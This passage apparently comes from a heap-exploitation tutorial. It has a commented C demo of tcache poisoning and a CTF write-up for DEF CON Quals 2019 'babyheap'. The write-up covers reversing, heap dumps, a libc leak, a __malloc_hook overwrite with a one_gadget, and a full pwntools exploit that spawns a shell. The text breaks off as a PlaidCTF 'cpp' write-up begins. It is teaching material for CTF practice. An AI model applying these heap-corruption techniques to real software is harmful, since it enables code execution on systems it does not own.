The larger chunk (third chunk) in the unsorted bin will be inserted into the
large bin.
```

```
However since the large bin is organized by size, the biggest chunk has to be
first.
Since we overwrote the size of the second chunk with a smaller size, the third
chunk will move up and become the front of the large bin.
This is where our write happens.

With that, we can see that the value of the target is:
Target0 value:  0x9f3b70
Target1 value:  0x9f3b70
```

tcache attack explanation

This isn't a ctf challenge. Essentially it's really well documented C code that carries out a tcache attack, and explains how it works. The source code and the binary can be found in here. Try looking at the source code and running the binary to see how the attack works:

The code:

```
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("So this is a quick demo of a tcache attack.");
    puts("The tcache is a bin that stores recently freed chunks (max 7 per idx
by default).");
    puts("The tcache bin consists of a linked list, where one chunk points to
the next chunk.");
    puts("This attack consists of using a bug to overwrite a pointer in the
linked list to an address we want to allocate, then allocating it when it's that
chunks turn to be allocated.");
    puts("Also the tcache was introduced in glibc version 2.26, so you won't be
able to do this attack in libc versions before that.");
    puts("\n");

    printf("So let's start off by allocated two chunks, and let's initialize a
stack integer.\n");

    unsigned long int *ptr0, *ptr1;
    int target;

    ptr0 = malloc(0x10);
    ptr1 = malloc(0x10);
    target = 0xdead;

    printf("ptr0: %p\n", ptr0);
    printf("ptr1: %p\n", ptr1);
    printf("int:  %p\n\n", &target);

    printf("Our objective here is to get malloc to return a pointer to the stack
variable. Here that doesn't serve as much purpose (this is more of a proof of
concept). However in a lot of different situations we can write to a chunk that
is allocated.\n");
    printf("In addition to that, instead of allocating a chunk to a stack
integer, we can allocate a chunk to something more interesting (like the saved
return address or the hook to a function).\n");
    printf("So we will continue by freeing the two heap chunks, which will store
them in the tcache.\n\n");

    free(ptr0);
    free(ptr1);

    printf("At this point, the two chunks we allocated using malloc are in the
tcache. We can also see that there is a linked list which is used to keep track
of which chunk is next in the tcache.\n\n");

    printf("Next pointer for ptr1: %p\n\n", (unsigned long int *)*ptr1);

    printf("As you can see, it points to the first chunk we allocated. This is
chunks in the tcache are allocated in the reverse order in which they are
```

```
inserted into it (think LIFO).\n");
    printf("So if we were to overwrite this pointer with a Use After Free bug
(I'm pretending I have a UAF to ptr1 here), we can control the chunk which will
be allocated from the tcache after ptr1.\n");
    printf("Let's write the address of the target stack integer over the next
pointer.\n\n");

    *ptr1 = (unsigned long int)&target;
    printf("Next pointer for ptr1: %p\n\n", (unsigned long int *)*ptr1);

    printf("Now we will allocate a chunk. This should return the ptr1 chunk, and
place the address of our target stack variable at the top of the tcache.\n\n");

    printf("Malloc Allocated: %p\n\n", malloc(0x10));

    printf("Now that the address of our stack integer is at the top of the
tcache, the next chunk we allocate will be the target integer.\n\n");

    printf("Malloc Allocated: %p\n\n", malloc(0x10));

    printf("Just like that, we got malloc to allocate a chunk to the target
stack variable. In practice we would try and allocate a chunk to something much
more interesting (but this is more of a proof of concept).\n");
}
```

When we run it:

```
$   ./tcache_explanation
So this is a quick demo of a tcache attack.
The tcache is a bin that stores recently freed chunks (max 7 per idx by
default).
The tcache bin consists of a linked list, where one chunk points to the next
chunk.
This attack consists of using a bug to overwrite a pointer in the linked list to
an address we want to allocate, then allocating it when it's that chunks turn to
be allocated.
Also the tcache was introduced in glibc version 2.26, so you won't be able to do
this attack in libc versions before that.


So let's start off by allocated two chunks, and let's initialize a stack
integer.
ptr0: 0x55a330441670
ptr1: 0x55a330441690
int:  0x7ffe00b8da64

Our objective here is to get malloc to return a pointer to the stack variable.
Here that doesn't serve as much purpose (this is more of a proof of concept).
However in a lot of different situations we can write to a chunk that is
allocated.
In addition to that, instead of allocating a chunk to a stack integer, we can
allocate a chunk to something more interesting (like the saved return address or
the hook to a function).
So we will continue by freeing the two heap chunks, which will store them in the
tcache.

At this point, the two chunks we allocated using malloc are in the tcache. We
can also see that there is a linked list which is used to keep track of which
chunk is next in the tcache.

Next pointer for ptr1: 0x55a330441670

As you can see, it points to the first chunk we allocated. This is chunks in the
tcache are allocated in the reverse order in which they are inserted into it
(think LIFO).
So if we were to overwrite this pointer with a Use After Free bug (I'm
pretending I have a UAF to ptr1 here), we can control the chunk which will be
allocated from the tcache after ptr1.
Let's write the address of the target stack integer over the next pointer.

Next pointer for ptr1: 0x7ffe00b8da64

Now we will allocate a chunk. This should return the ptr1 chunk, and place the
address of our target stack variable at the top of the tcache.

Malloc Allocated: 0x55a330441690

Now that the address of our stack integer is at the top of the tcache, the next
chunk we allocate will be the target integer.
```

```
Malloc Allocated: 0x7ffe00b8da64

Just like that, we got malloc to allocate a chunk to the target stack variable.
In practice we would try and allocate a chunk to something much more interesting
(but this is more of a proof of concept).
```

dcquals 2019 babyheap

We see that we are given a libc file and a binary. Let's take a look at them:

```
$    file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l,
BuildID[sha1]=afa4d4d076786b1a690f1a49923d1e054027e8e7, for GNU/Linux 3.2.0,
stripped
$    pwn checksec babyheap
[*] '/Hackery/pod/modules/tcache/dcquals19_babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$    ./babyheap
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
> M
Size:
> 25
Content:
> 15935728
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
> F
(Starting from 0) Index:
>
0
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
> S
(Starting from 0) Index:
> 0
Show Error
```

Reversing

So we can see that we are given a 64 bit binary with all of the standard binary mitigations. When we run it, we see that we are prompted with a menu. With this menu we can malloc memory, free it, and show it. To identify the version of libc, you should be able to just run the libc file (depending on your environment, this may not work). You can also use strings to ID it:

```
$    strings libc.so | grep libc-
libc-2.29.so
```

So we can see that it is running `libc-2.29.so`. With this version of libc, we will have to deal with the tcache mechanism. When we take a look at the binary in Ghidra, we don't see a `main` function labeled for us. However, looking through the functions (or checking xreferences) to strings we find this function which looks like the function which handles the menu:

```c
/* WARNING: Could not reconcile some variable overlaps */

void FUN_0010151b(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined2 local_e8;
  undefined local_e6;
  undefined8 local_e5;
  undefined8 local_dd;
  undefined8 local_d5;
  undefined8 local_cd;
  undefined2 local_c5;
  undefined local_c3;
  undefined8 local_c2;
  undefined8 local_ba;
  undefined8 local_b2;
  undefined8 local_aa;
  undefined2 local_a2;
  undefined local_a0;
  undefined8 local_9f;
  undefined8 local_97;
  undefined8 local_8f;
  undefined8 local_87;
  undefined2 local_7f;
  undefined local_7d;
  undefined8 local_7c;
  undefined8 local_74;
  undefined8 local_6c;
  undefined8 local_64;
  undefined2 local_5c;
  undefined local_5a;
  undefined8 local_59;
  undefined8 local_51;
  undefined8 local_49;
  undefined8 local_41;
  undefined2 local_39;
  undefined local_37;
  undefined2 menuOption;
  undefined8 local_30;

  local_30 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  menuOption = 0;
  local_108 = 0x7465592d2d2d2d2d;
  local_100 = 0x726568746f6e4120;
  local_f8 = 0x6165687962614220;
  local_f0 = 0x2d2d2d2d2d2170;
```

```
local_e8 = 0;
local_e6 = 0;
local_e5 = 0x636f6c6c615d4d5b;
local_dd = 0x20;
local_d5 = 0;
local_cd = 0;
local_c5 = 0;
local_c3 = 0;
local_c2 = 0x206565725d465b;
local_ba = 0;
local_b2 = 0;
local_aa = 0;
local_a2 = 0;
local_a0 = 0;
local_9f = 0x20776f685d535b;
local_97 = 0;
local_8f = 0;
local_87 = 0;
local_7f = 0;
local_7d = 0;
local_7c = 0x207469785d455b;
local_74 = 0;
local_6c = 0;
local_64 = 0;
local_5c = 0;
local_5a = 0;
local_59 = 0x2d2d2d2d2d2d2d2d;
local_51 = 0x2d2d2d2d2d2d2d2d;
local_49 = 0x2d2d2d2d2d2d2d2d;
local_41 = 0;
local_39 = 0;
local_37 = 0;
do {
  puts((char *)&local_108);
  puts((char *)&local_e5);
  puts((char *)&local_c2);
  puts((char *)&local_9f);
  puts((char *)&local_7c);
  puts((char *)&local_59);
  __printf_chk(1,"Command:\n> ");
  read(0,&menuOption,2);
  if ((char)menuOption == 'F') {
    uVar1 = freeMemory();
  }
  else {
    if ((char)menuOption < 'G') {
      if ((char)menuOption != 'E') {
        uVar1 = 0xfffffffe;
        break;
      }
      uVar1 = 0xffffffff;
    }
    else {
```

```
        if ((char)menuOption == 'M') {
          uVar1 = mallocSpace();
        }
        else {
          if ((char)menuOption != 'S') goto LAB_00101799;
          uVar1 = showSpace();
        }
      }
    }
  } while ((int)uVar1 == 0);
  do {
    errorPrint(uVar1 & 0xffffffff);
LAB_00101799:
    uVar1 = 0xfffffffe;
  } while( true );
}
```

Looking at this function, it looks like a pretty standard menu function for ctf challenges. When we take a look at the `mallocSpace` function, we see this:

```
/* WARNING: Globals starting with '_' overlap smaller symbols at the same
address */

undefined8 mallocSpace(void)

{
  long lVar1;
  long *plVar2;
  ulong size;
  void *largePtr;
  void *smallPtr;
  undefined8 result;
  ulong i;
  uint uVar3;
  uint sizeCpy;
  long in_FS_OFFSET;
  bool check;
  char inputChar;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (_pointers == 0) {
    uVar3 = 0;

  else {
    uVar3 = 1;
    plVar2 = &DAT_00104070;
    while (*plVar2 != 0) {
      uVar3 = uVar3 + 1;
      plVar2 = plVar2 + 2;
    }
    if (9 < uVar3) {
      result = 0xfffffffd;
      goto LAB_001013ae;
    }

  __printf_chk(1,"Size:\n> ");
  size = getLong();
  if ((int)size - 1U < 0x178) {
    sizeCpy = (uint)(size & 0xffffffff);
    if (sizeCpy < 0xf9) {
      smallPtr = malloc(0xf8);
      *(void **)(&pointers + (ulong)uVar3 * 0x10) = smallPtr;
    }
    else {
      largePtr = malloc(0x178);
      *(void **)(&pointers + (ulong)uVar3 * 0x10) = largePtr;
    }
    if (*(long *)(&pointers + (ulong)uVar3 * 0x10) == 0) {
      result = 0xfffffffd;
    }
    else {
      *(uint *)(&sizes + (ulong)uVar3 * 0x10) = sizeCpy;
```

```
      __printf_chk(1,"Content:\n> ");
      read(0,&inputChar,1);
      i = 0;
      do {
        if ((inputChar == '\n') || (inputChar == '\0')) {
          result = 0;
          goto LAB_001013ae;
        }
        *(char *)(*(long *)(&pointers + (ulong)uVar3 * 0x10) + i) = inputChar;
        read(0,&inputChar,1);
        check = (size & 0xffffffff) != i;
        i = i + 1;
      } while (check);
      result = 0;
    }

  else {
    result = 0xfffffffd;

LAB_001013ae:
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();

  return result;
}
```

So in this function, we see that it prompts us for a size. We can see that we can only allocate two size chunks, `0xf8` and `0x178` . After that it allows us to scan in content into the chunk equal to `size` number of bytes. Thing is, this gives us a single byte overflow. Since arrays are zero index, if we get to scan in data to index `0xf8` that gives us `0xf9` bytes worth of data to scan into a `0xf8` byte chunk (it should scan in `size - 1` bytes to prevent the bug). In addition to that it saves a pointer to the chunk in the bss in `pointers` (`0x104060`), and the size of the chunk in the bss in `sizes` (`0x104068`). We can also see that out limit on the amount of chunks we can allocate is `10` . These both point to the same 1-D array, it's just every 8 bytes it swaps between a pointer and a size (and vice versa). Next let's look at the `freeSpace` function:

```
undefined8 freeSpace(void)

{
  uint index;
  undefined8 return;
  long indexBytes;

  puts("(Starting from 0) Index:\n> ");
  index = getLong();
  if (index < 10) {
    indexBytes = (ulong)index * 0x10;
    if (*(void **)(&pointers + indexBytes) == (void *)0x0) {
      return = 0xfffffffc;
    }
    else {
      memset(*(void **)(&pointers + indexBytes),0,(ulong)*(uint *)(&sizes +
indexBytes));
      free(*(void **)(&pointers + indexBytes));
      *(undefined4 *)(&sizes + indexBytes) = 0;
      *(void **)(&pointers + indexBytes) = (void *)0x0;
      return = 0;
    }

  else {
    return = 0xfffffffc;

  return return;
}
```

Looking at this function, we see that it prompts us for an index. It checks to see if it is valid by checking to see if there is a pointer that corresponds to the index. After that it will clear out the memory using `memset`, and free the pointer. It clears out the pointer and the size that corresponds with the freed index, so there is no UAF (Use After Free) here. Next we take a look at the `showSpace` function:

```
undefined8 showSpace(void)

{
  uint index;
  undefined8 result;

  __printf_chk(1,"(Starting from 0) Index:\n> ");
  index = getLong();
  if (index < 10) {
    if (*(char **)(&pointers + (ulong)index * 0x10) == (char *)0x0) {
      result = 0xfffffffb;
    }
    else {
      puts(*(char **)(&pointers + (ulong)index * 0x10));
      result = 0;
    }

  else {
    result = 0xfffffffb;

  return result;
}
```

Here we can see that it prompts us for an index, and checks it by checking for a pointer that corresponds to the index. If it passes the check, it prints the contents of the memory with `puts`.

Exploitation

So we have a one byte heap overflow, the ability to allocate `10` heap chunks, and the ability to free/print those chunks. Our exploit will have two parts, the first being a libc infoleak.

Infoleak

While doing the infoleak, we will have to deal with the tcache. The tcache is a mechanism designed to reuse recently allocated memory chunks by the same thread, in order to improve performance. By default the tcache list will only hold seven entries, which we can see in the malloc.c source code from this version of libc:

```
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
```

From reversing the binary, we know that we can have `10` blocks allocated at a time. What we will do is allocate `10` blocks, then free `7`. This will free up the tcache. While the tcache is freed, chunks we free will end up in the unsorted bin due to their size. When we take a look at the first chunk to enter into the unsorted bin (after we get at least one more chunk inserted into the unsorted bin), we see something very interesting:

```
gef➤  x/4g 0x56041198c950
0x56041198c950: 0x0 0x206b1
0x56041198c960: 0x7f8d327faca0  0x7f8d327faca0
gef➤  x/g 0x7f8d327faca0
0x7f8d327faca0: 0x56041198c950
```

We can see in the data section, there are two pointers to the libc (specifically to somewhere in the main arena). What we can do is allocate this chunk again with malloc, and only write `8` bytes worth of data to it. Then we will just show this chunk, and since `puts` stops when it reaches a null byte, it will leak the libc address. We will go into more depth of the unsorted bin later. However before we allocate that chunk, we will have to allocate off all of the tcache chunks (which get allocated in the reverse order they were put in, so FILO). So we just have to allocate 7 chunks to free up the tcache, then the next chunk we allocate will give us our infoleak. Here is what the chunk looks like when we prep it for the infoleak:

```
gef➤  x/4g 0x564aa26bb950
0x564aa26bb950: 0x0 0x101
0x564aa26bb960: 0x3832373533393531  0x7f479de2fca0
gef➤  x/g 0x7f479de2fca0
0x7f479de2fca0: 0x564aa26bba50
```

tcache attack

So before we get into attacking the tcache, let's take a look at what the tcache is exactly. Here we take a look at seven freed chunks in the tcache:

```
gef➤  x/4g 0x55bf78b7d250
0x55bf78b7d250: 0x0 0x101
0x55bf78b7d260: 0x0 0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d350
0x55bf78b7d350: 0x0 0x101
0x55bf78b7d360: 0x55bf78b7d260  0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d450
0x55bf78b7d450: 0x0 0x101
0x55bf78b7d460: 0x55bf78b7d360  0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d550
0x55bf78b7d550: 0x0 0x101
0x55bf78b7d560: 0x55bf78b7d460  0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d650
0x55bf78b7d650: 0x0 0x101
0x55bf78b7d660: 0x55bf78b7d560  0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d750
0x55bf78b7d750: 0x0 0x101
0x55bf78b7d760: 0x55bf78b7d660  0x55bf78b7d010
gef➤  x/4g 0x55bf78b7d850
0x55bf78b7d850: 0x0 0x101
0x55bf78b7d860: 0x55bf78b7d760  0x55bf78b7d010
```

Here we can see that the tcache is essentially a linked list. The linked list contains a pointer to the next chunk which will be allocated. The first chunk from the tcache that will be allocated is the chunk at `0x55bf78b7d850`. So how this attack works is we overwrite a pointer in the linked list with the address of malloc hook, and we will allocate chunks until malloc gives us a pointer to the malloc hook. With that we can just directly write a oneshot gadget (https://github.com/david942j/one_gadget) to the malloc hook, and the next time we call `malloc` we will get a shell.

Also a bit more on tcaching, tcahe was introduced in libc version `2.26` (so expect to have it in versions after it, unless if it is removed in a later version). Whenever a chunk is allocated or freed, it will first look in the tcache. If it finds a chunk in the tcache while allocating memory that meets the size requirement it will pull it from the tcache (typically in a LIFO manner). If the tcache is full when a chunk is being freed, then it will go to one of the other bins. Also with the tcache, there are two different data structures associated with it (that we can see from `malloc.c` from: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l2902)

```
#if USE_TCACHE

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```

So can see that the tcache has a `tcache_perthread_struct` per each thread, and each entry into the tcache is stored as a `tcache_entry` struct (which just contains a pointer to the next entry). In addition to that, we can see the code which will add / remove entries from the tcache.

```
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}
```

So we can see for `tcache_put` it checks to make sure that the index doesn't exceed `TCACHE_MAX_BINS`, and if not it will store the chunk in the linked list and increment the count. For `tcache_get` it checks that the index doesn't exceed `TCACHE_MAX_BINS`, and that the count is greater than `0`. It will then grab the first item from the top of the tcache and return it.

Now to get back to the exploitation, we need to be able to edit a freed chunk in order to edit the tcache linked list and allocate a chunk to the hook of malloc. Taking a look at the heap metadata, we see that the two sizes for the two chunks when allocated are `0x101` and `0x181`:

```
ef➤  x/200g 0x56541cbc3250
0x56541cbc3250: 0x0 0x101
0x56541cbc3260: 0x3030303030303030  0x0
0x56541cbc3270: 0x0 0x0
0x56541cbc3280: 0x0 0x0
0x56541cbc3290: 0x0 0x0
0x56541cbc32a0: 0x0 0x0
0x56541cbc32b0: 0x0 0x0
0x56541cbc32c0: 0x0 0x0
0x56541cbc32d0: 0x0 0x0
0x56541cbc32e0: 0x0 0x0
0x56541cbc32f0: 0x0 0x0
0x56541cbc3300: 0x0 0x0
0x56541cbc3310: 0x0 0x0
0x56541cbc3320: 0x0 0x0
0x56541cbc3330: 0x0 0x0
0x56541cbc3340: 0x0 0x0
0x56541cbc3350: 0x0 0x181
0x56541cbc3360: 0x3131313131313131  0x0
```

So here is our plan. We will use the one byte overflow to overflow the size value of a chunk header, which we will then free. We will overflow a size header of `0x101` (for an `0xf8` byte chunk) with the byte `0x81` to give us the value `0x181`. We will then free it, and then allocate an `0x178` byte chunk. This will give us the chunk for the `0xf8` byte chunk we allocated, but allow us to write `0x178` bytes to it which will give us a pretty large overflow (compared to what we were looking at before). With this we should be able to overwrite the next pointer in a linked list (since we would have freed plenty of chunks as part of the heap grooming process, if not from the infoleak already). Then it will just be a matter of allocating chunks off of the tcache, until it allocates the address of the malloc hook since we overwrite the next pointer in a tcache entry with it.

Let's take a look at how the memory is corrupted exactly as we do this. First we start out with our chunk which we will overflow (holds 33333333) followed by a chunk stored in the tcache mechanism with a linked list pointer:

```
gef➤  x/64g 0x55d01d7cc850
0x55d01d7cc850: 0x0 0x101
0x55d01d7cc860: 0x3333333333333333  0x0
0x55d01d7cc870: 0x0 0x0
0x55d01d7cc880: 0x0 0x0
0x55d01d7cc890: 0x0 0x0
0x55d01d7cc8a0: 0x0 0x0
0x55d01d7cc8b0: 0x0 0x0
0x55d01d7cc8c0: 0x0 0x0
0x55d01d7cc8d0: 0x0 0x0
0x55d01d7cc8e0: 0x0 0x0
0x55d01d7cc8f0: 0x0 0x0
0x55d01d7cc900: 0x0 0x0
0x55d01d7cc910: 0x0 0x0
0x55d01d7cc920: 0x0 0x0
0x55d01d7cc930: 0x0 0x0
0x55d01d7cc940: 0x0 0x0
0x55d01d7cc950: 0x0 0x101
0x55d01d7cc960: 0x55d01d7cca60  0x55d01d7cc010
```

Then we will allocate a chunk behind (thanks to a bit of heap grooming) the 33333333 chunk, which will overflow the size value with the byte 0x81.

```
gef➤  x/64g 0x55d01d7cc790
0x55d01d7cc790: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7a0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7b0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7c0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7d0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7e0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7f0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc800: 0x3434343434343434  0x3434343434343434
0x55d01d7cc810: 0x3434343434343434  0x3434343434343434
0x55d01d7cc820: 0x3434343434343434  0x3434343434343434
0x55d01d7cc830: 0x3434343434343434  0x3434343434343434
0x55d01d7cc840: 0x3434343434343434  0x3434343434343434
0x55d01d7cc850: 0x3434343434343434  0x181
0x55d01d7cc860: 0x3333333333333333  0x0
0x55d01d7cc870: 0x0 0x0
0x55d01d7cc880: 0x0 0x0
0x55d01d7cc890: 0x0 0x0
0x55d01d7cc8a0: 0x0 0x0
0x55d01d7cc8b0: 0x0 0x0
0x55d01d7cc8c0: 0x0 0x0
0x55d01d7cc8d0: 0x0 0x0
0x55d01d7cc8e0: 0x0 0x0
0x55d01d7cc8f0: 0x0 0x0
0x55d01d7cc900: 0x0 0x0
0x55d01d7cc910: 0x0 0x0
0x55d01d7cc920: 0x0 0x0
0x55d01d7cc930: 0x0 0x0
0x55d01d7cc940: 0x0 0x0
0x55d01d7cc950: 0x0 0x101
0x55d01d7cc960: 0x55d01d7cca60  0x55d01d7cc010
```

Then we will free the 33333333 chunk, then immediately allocate a new chunk of size 0x174 and use it to overwrite the next pointer in the linked list to the address of the malloc hook:

```
gef➤  x/64g 0x55d01d7cc790
0x55d01d7cc790: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7a0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7b0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7c0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7d0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7e0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc7f0: 0x3434343434343434  0x3434343434343434
0x55d01d7cc800: 0x3434343434343434  0x3434343434343434
0x55d01d7cc810: 0x3434343434343434  0x3434343434343434
0x55d01d7cc820: 0x3434343434343434  0x3434343434343434
0x55d01d7cc830: 0x3434343434343434  0x3434343434343434
0x55d01d7cc840: 0x3434343434343434  0x3434343434343434
0x55d01d7cc850: 0x3434343434343434  0x181
0x55d01d7cc860: 0x3131313131313131  0x3131313131313131
0x55d01d7cc870: 0x3131313131313131  0x3131313131313131
0x55d01d7cc880: 0x3131313131313131  0x3131313131313131
0x55d01d7cc890: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8a0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8b0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8c0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8d0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8e0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc8f0: 0x3131313131313131  0x3131313131313131
0x55d01d7cc900: 0x3131313131313131  0x3131313131313131
0x55d01d7cc910: 0x3131313131313131  0x3131313131313131
0x55d01d7cc920: 0x3131313131313131  0x3131313131313131
0x55d01d7cc930: 0x3131313131313131  0x3131313131313131
0x55d01d7cc940: 0x3131313131313131  0x3131313131313131
0x55d01d7cc950: 0x3131313131313131  0x3131313131313131
0x55d01d7cc960: 0x7fea6bc49c30  0x55d01d7cc010
0x55d01d7cc970: 0x0 0x0
0x55d01d7cc980: 0x0 0x0
gef➤  x/g 0x7fea6bc49c30
0x7fea6bc49c30 <__malloc_hook>: 0x0
```

Now that that is done, we can just allocate chunks until we get malloc to return a pointer to the malloc hook (which due to how we groomed the heap, is only two). Proceeding that we can just get the program to call malloc, and we get a shell. Also we need to get our oneshot gadget:

```
$ one_gadget libc.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
  [rcx] == NULL || rcx == NULL
  [rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Exploit

Putting it all together, we get the following exploit. This exploit was ran on Ubuntu `19.04`:

```
from pwn import *

#target = process('./babyheap', env={"LD_PRELOAD":"./libc.so"})
target = process('./babyheap')
gdb.attach(target, gdbscript='pie b *0x147b')
libc = ELF('libc.so')

# Helper functions to handle I/O with program
def ri():
  print target.recvuntil('>')

def malloc(content, size, new=0):
  ri()
  target.sendline('M')
  ri()
  target.sendline(str(size))
  ri()
  if new == 0:
            target.sendline(content)
  else:
      target.send(content)

def free(index):
  ri()
  target.sendline('F')
  ri()
  target.sendline(str(index))

def show(index):
  ri()
  target.sendline('S')
  ri()
  target.sendline(str(index))

# Start off by allocating 10 blocks, then free them all.
# Fill up the tcache and get some blocks in the unsorted bin for the leak

for i in xrange(10):
    malloc(str(i)*0xf8, 0xf8)

for i in range(9, -1, -1):
    free(i)


# Allocate blocks until we get to the one stored in the unsorted bin with the
libc address
malloc('', 0xf8)
malloc('', 0xf8)
malloc('', 0xf8)
malloc('', 0xf8)
malloc('', 0xf8)
malloc('', 0xf8)
```

```
malloc('', 0xf8)
malloc('', 0xf8)
malloc('15935728', 0xf8) # Libc address here

# Leak the libc address
ri()
target.sendline('S')
ri()
target.sendline('8')
target.recvuntil("15935728")

leak = target.recvline().replace("\x0a", "")
leak = u64(leak + "\x00"*(8 - len(leak)))
libcBase = leak - 0x1e4ca0

print "libc base: " + hex(libcBase)



# Free all allocated blocks, so we can allocate more
for i in range(8, -1, -1):
    free(i)

# Allocate / free blocks in certain order, to groom heap so we can
# allocate blocks behind already existing blocks

malloc("1"*8, 0x8)
malloc("2"*8, 0x8)

free(0)
free(1)


# This is the chunk whose size value will be overflowed
malloc('3'*8, 0x8)

# Allocate a chunk to overflow that chunk's size with '0x81'
malloc('4'*0xf8 + "\x81", 0xf8)

# Free the overflowed chunk
free(0)


# Allocate overflowed chunk again, however this time we can write more data to
it
# because of the overflowed size value. Overwrite the next pointer in the tcache
linked
# list in the next chunk with the address of malloc_hook
malloc('1'*0x100 + p64(libcBase + libc.sym["__malloc_hook"])[:6], 0x174)

# Allocate a block on the chunk, so the next one will be to the malloc hook

malloc("15935728", 0x10)
```

```
# Calculate the onegadget address, then send it over
onegadget = libcBase + 0xe2383
malloc(p64(onegadget)[:6], 0x10)

# Get the program to call malloc, and get a shell
target.sendline('M')
target.sendline("10")

target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './babyheap': pid 27132
[*] running in new terminal: /usr/bin/gdb -q  "./babyheap" 27132 -x
"/tmp/pwn84K7wz.gdb"
[+] Waiting for debugger: Done
[*] '/home/guyinatuxedo/Desktop/efwafew/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
>

. . .

> $ w
 22:36:10 up  2:44,  1 user,  load average: 0.17, 0.04, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               19:52   ?xdm?   1:22   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
babyheap  exploit.py  libc.so
```

Just like that, we popped a shell!

plaidctf 2019 cpp

Let's take a look at the binary, and the libc version:

```
$    file cpp
cpp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=9ccb6196788d9ba1e3953535628a62549f3bcce8, stripped
$    pwn checksec cpp
[*] '/Hackery/pod/modules/tcache/plaid19_cpp/cpp'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./cpp
1. Add
